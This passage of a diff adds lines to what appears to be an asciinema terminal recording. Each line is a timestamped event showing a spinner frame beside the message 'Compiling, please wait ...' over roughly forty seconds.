+[53.815668, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[53.916192, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[54.016484, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[54.116879, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[54.217176, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[54.317617, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[54.418009, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[54.518418, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[54.618773, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[54.719184, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[54.819582, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[54.920023, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[55.020375, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[55.120785, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[55.221135, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[55.321574, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[55.421999, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[55.52238, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[55.622783, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[55.723193, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[55.823583, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[55.923971, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[56.024373, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[56.124755, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[56.225162, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[56.325365, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[56.425772, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[56.525886, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[56.626309, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[56.726669, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[56.827049, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[56.927429, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[57.027905, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[57.128276, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[57.228688, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[57.329093, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[57.429516, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[57.529944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[57.63033, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[57.730737, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[57.831133, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[57.931619, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[58.032057, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[58.132469, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[58.232894, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[58.333275, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[58.433705, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[58.534168, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[58.634575, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[58.73499, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[58.835397, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[58.935794, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[59.036204, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[59.136617, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[59.237047, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[59.33746, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[59.437901, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[59.538298, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[59.638727, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[59.739109, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[59.839635, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[59.94026, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[60.040642, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[60.141447, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[60.241387, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[60.341918, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[60.442328, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[60.542746, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[60.643135, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[60.743526, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[60.84396, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[60.944316, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[61.04472, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[61.145098, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[61.245508, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[61.346228, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[61.446459, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[61.547139, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[61.647556, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[61.74798, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[61.848361, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[61.949064, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[62.049482, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[62.150429, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[62.250865, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[62.351309, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[62.45173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[62.552125, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[62.652518, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[62.752816, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[62.853137, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[62.953469, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[63.053885, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[63.154313, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[63.254721, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[63.355117, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[63.45552, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[63.555964, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[63.656345, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[63.756771, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[63.857192, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[63.957616, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[64.058059, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[64.158465, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[64.258865, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[64.359278, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[64.45967, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[64.560073, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[64.660496, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[64.760907, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[64.861226, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[64.961635, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[65.062101, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[65.162473, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[65.262813, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[65.363215, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[65.463584, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[65.563929, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[65.664267, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[65.764654, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[65.865038, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[65.965715, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[66.06613, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[66.16656, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[66.266957, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[66.367352, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[66.467776, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[66.56818, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[66.668547, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[66.768962, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[66.869373, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[66.969801, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[67.070183, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[67.170579, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[67.270976, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[67.371375, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[67.471786, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[67.572066, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[67.672406, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[67.772782, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[67.873183, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[67.973581, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[68.074007, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[68.17439, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[68.274791, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[68.375213, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[68.475663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[68.576092, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[68.67649, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[68.77689, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[68.877298, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[68.977677, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[69.078048, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[69.178464, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[69.278878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[69.37929, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[69.479712, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[69.580398, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[69.680635, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[69.781205, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[69.881588, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[69.981997, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[70.082411, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[70.182791, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[70.283226, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[70.383633, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[70.484052, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[70.585646, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[70.6861, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[70.786501, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[70.886885, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[70.988026, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[71.088754, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[71.189307, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[71.289785, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[71.390319, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[71.490765, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[71.591187, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[71.691638, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[71.792094, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[71.892535, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[71.992966, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[72.093408, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[72.193777, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[72.294164, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[72.394695, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[72.495136, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[72.595574, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[72.69601, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[72.796464, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[72.896877, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[72.997174, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[73.097672, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[73.198063, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[73.298468, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[73.39889, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[73.499343, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[73.599774, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[73.7002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[73.800607, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[73.901027, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[74.001645, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[74.102027, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[74.202413, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[74.302779, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[74.40323, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[74.503582, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[74.604029, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[74.704466, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[74.804863, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[74.905147, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[75.00553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[75.106244, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[75.206674, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[75.307059, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[75.407502, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[75.507792, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[75.608195, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[75.708634, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[75.809089, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[75.909504, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[76.009917, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[76.110303, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[76.21069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[76.31108, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[76.411364, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[76.511775, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[76.612203, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[76.712609, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[76.812969, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[76.913387, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[77.014031, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[77.114428, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[77.21484, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[77.315352, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[77.415754, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[77.516177, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[77.617047, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[77.717476, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[77.817868, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[77.91827, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[78.018659, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[78.119074, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[78.219374, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[78.319747, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[78.420109, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[78.520511, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[78.620928, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[78.721328, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[78.821732, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[78.922079, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[79.022451, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[79.122864, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[79.223257, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[79.323648, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[79.424062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[79.524561, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[79.624847, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[79.725183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[79.825596, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[79.925954, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[80.026329, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[80.126713, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[80.227116, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[80.327518, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[80.427925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[80.528328, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[80.628736, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[80.729183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[80.829605, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[80.929934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[81.030613, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[81.131023, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[81.231438, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[81.331889, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[81.432257, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[81.532654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[81.633064, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[81.733472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[81.833862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[81.934255, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[82.034553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[82.134968, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[82.235346, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[82.335759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[82.436139, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[82.53654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[82.636935, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[82.737336, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[82.837748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[82.938161, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[83.038546, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[83.13896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[83.239353, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[83.339739, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[83.440079, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[83.54049, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[83.640888, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[83.741261, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[83.841697, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[83.942096, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[84.042504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[84.14291, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[84.243294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[84.343901, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[84.444263, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[84.544642, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[84.64505, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[84.745433, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[84.845815, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[84.946247, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[85.046639, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[85.147039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[85.247435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[85.347883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[85.448251, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[85.548654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[85.649046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[85.749462, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[85.849853, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[85.950254, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[86.050666, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[86.15108, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[86.251468, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[86.351903, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[86.452325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[86.55273, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[86.653159, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[86.753583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[86.853992, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[86.954401, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[87.054817, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[87.15522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[87.255618, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[87.356042, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[87.456465, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[87.556878, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[87.657163, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[87.757583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[87.857998, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[87.958412, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[88.058827, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[88.159249, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[88.25968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[88.360075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[88.460515, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[88.560923, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[88.661328, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[88.761739, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[88.862144, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[88.962567, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[89.062994, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[89.163422, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[89.263874, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[89.364274, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[89.464691, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[89.565083, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[89.665512, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[89.765902, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[89.866299, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[89.966717, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[90.067109, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[90.167535, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[90.267978, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[90.36839, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[90.468788, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[90.569179, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[90.669594, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[90.769978, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[90.87036, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[90.970752, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[91.071155, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[91.171573, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[91.271982, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[91.372391, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[91.472816, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[91.573206, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[91.67361, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[91.774046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[91.874466, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[91.974861, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[92.075252, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[92.175644, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[92.276061, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[92.376535, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[92.476932, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[92.577342, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[92.677712, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[92.778109, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[92.878516, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[92.97892, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[93.079343, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[93.179764, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[93.280186, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
